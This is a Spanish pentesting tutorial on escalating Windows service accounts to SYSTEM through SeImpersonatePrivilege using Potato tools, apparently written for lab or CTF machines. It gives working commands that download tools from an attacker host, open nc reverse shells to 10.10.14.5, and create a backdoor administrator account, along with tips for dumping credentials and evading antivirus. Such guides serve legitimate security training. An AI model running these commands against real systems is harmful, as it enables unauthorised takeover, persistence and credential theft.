SeImpersonatePrivilege y Potatoes: de cuenta de servicio a SYSTEM en Windows
Qué significa tener SeImpersonate, por qué lo tienen IIS y MSSQL, y qué Potato usar en cada Windows: PrintSpoofer, GodPotato, JuicyPotatoNG o RoguePotato.
Si tu shell en Windows viene de una web en IIS, de un xp_cmdshell en MSSQL o de cualquier servicio, lo primero que tienes que mirar es esto:
whoami /priv
Si en la lista aparece SeImpersonatePrivilege (o SeAssignPrimaryTokenPrivilege) con estado Enabled, estás a un comando de ser NT AUTHORITY\SYSTEM. En este catálogo es la escalada de Windows que más se repite: SeImpersonate / Potatoes.
Por qué funciona
SeImpersonatePrivilege deja a un proceso suplantar el token de cualquier usuario que se autentique contra él. Windows se lo da a las cuentas de servicio (IIS APPPOOL\*, NT SERVICE\MSSQLSERVER, LOCAL SERVICE, NETWORK SERVICE) porque lo necesitan para atender a sus clientes con los permisos de cada uno.
Todos los Potatoes hacen lo mismo con trucos distintos:
- Montan un servicio falso (un named pipe, un servidor RPC o DCOM) en la máquina.
- Engañan a un componente de Windows que corre como SYSTEM para que se conecte a él.
- Suplantan el token de SYSTEM que acaba de llegar y lanzan un proceso con él.
Qué Potato usar
| Herramienta | Funciona en | Notas |
|---|---|---|
| PrintSpoofer | Windows 10 y Server 2016/2019 | Usa el servicio de impresión (Spooler). Muy fiable si el Spooler está activo |
| GodPotato | Windows 8 a 11, Server 2012 a 2022 | Usa DCOM/RPCSS. Hoy es la primera opción en casi todo |
| JuicyPotatoNG | Windows 10/11 y Server 2019/2022 | Versión moderna de JuicyPotato |
| SweetPotato / EfsPotato | Varias | Recopilan varias técnicas (EfsRpc, PrintSpoofer, WinRM) |
| JuicyPotato (clásico) | Hasta Windows 10 1803 y Server 2016 | Necesita un CLSID válido para cada versión |
| RoguePotato | Windows 10 1809+ y Server 2019 | Necesita una redirección del puerto 135 hacia tu equipo |
Para saber la versión:
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
[Environment]::Is64BitOperatingSystem
Paso a paso
1. Sube la herramienta
Desde tu equipo, sirve los binarios y descárgalos en una carpeta donde puedas escribir (C:\Windows\Temp, C:\Users\Public). Tienes todas las formas de hacerlo en la chuleta de transferencia de archivos.
cd C:\Windows\Temp
certutil -urlcache -f http://10.10.14.5/GodPotato-NET4.exe gp.exe
iwr http://10.10.14.5/PrintSpoofer64.exe -OutFile ps.exe
Truco
GodPotato tiene versiones para .NET 2, 3.5 y 4. Mira cuál hay instalada con dir C:\Windows\Microsoft.NET\Framework64\ y usa esa.
2. Comprueba que ejecuta como SYSTEM
.\gp.exe -cmd "cmd /c whoami"
.\ps.exe -c "cmd /c whoami"
3. Consigue una shell
Lo más cómodo es lanzar una reverse shell con nc.exe o una de PowerShell (genera la tuya en reverse shells):
.\gp.exe -cmd "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
.\ps.exe -i -c powershell.exe # interactiva, si tu shell actual lo permite
.\JuicyPotatoNG.exe -t * -p C:\Windows\System32\cmd.exe -a "/c C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
Otra opción, menos ruidosa con la red: añadir tu usuario al grupo de administradores y entrar por WinRM o RDP.
.\gp.exe -cmd "cmd /c net user hacker P4ssw0rd! /add && net localgroup administrators hacker /add"
Si no tienes el privilegio (pero deberías)
Las cuentas LOCAL SERVICE y NETWORK SERVICE a veces arrancan con privilegios recortados. FullPowers recupera los privilegios por defecto de la cuenta (incluido SeImpersonate) creando una tarea programada como ese mismo usuario:
.\FullPowers.exe -c "C:\Windows\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"
Otros privilegios que también dan SYSTEM
whoami /priv puede enseñarte otros privilegios de token igual de útiles:
- SeBackupPrivilege / SeRestorePrivilege: leer o escribir cualquier fichero, por ejemplo copiar
SAM,SYSTEMoNTDS.dit(SeBackup). - SeDebugPrivilege: abrir cualquier proceso, incluido LSASS, o inyectarte en uno de SYSTEM.
- SeTakeOwnershipPrivilege: hacerte dueño de un fichero protegido (por ejemplo
utilman.exe) y cambiar sus permisos. - SeLoadDriverPrivilege: cargar un driver vulnerable (como
Capcom.sys) y ejecutar código en el kernel. - SeManageVolumePrivilege: dar permisos de escritura sobre todo
C:\y reemplazar una DLL de sistema.
Cuidado
Un privilegio Disabled en whoami /priv no significa que no lo tengas: los programas lo activan cuando lo necesitan. Lo que importa es que aparezca en la lista.
Errores típicos
- PrintSpoofer dice que no encuentra el pipe: el servicio Spooler está parado (
sc query spooler). Usa GodPotato. - El antivirus borra el binario nada más subirlo: prueba otra variante (EfsPotato se compila en la propia máquina con
csc.exe) o lee la guía de cómo detectan los EDR. - JuicyPotato devuelve
COM -> recv failed with error: 10038: el CLSID no vale para esa versión de Windows, o es Windows 10 1809 o posterior, donde ya no funciona. - La shell muere al momento: lánzala desde un proceso que no dependa de tu shell web, por ejemplo con
cmd /c start.
Y después
Ya eres SYSTEM: vuelca las credenciales locales (lo tienes en volcado de credenciales en Windows) y prueba a reutilizarlas en otras máquinas. Si no hay ningún privilegio interesante, sigue con servicios, DLL y tareas mal configurados.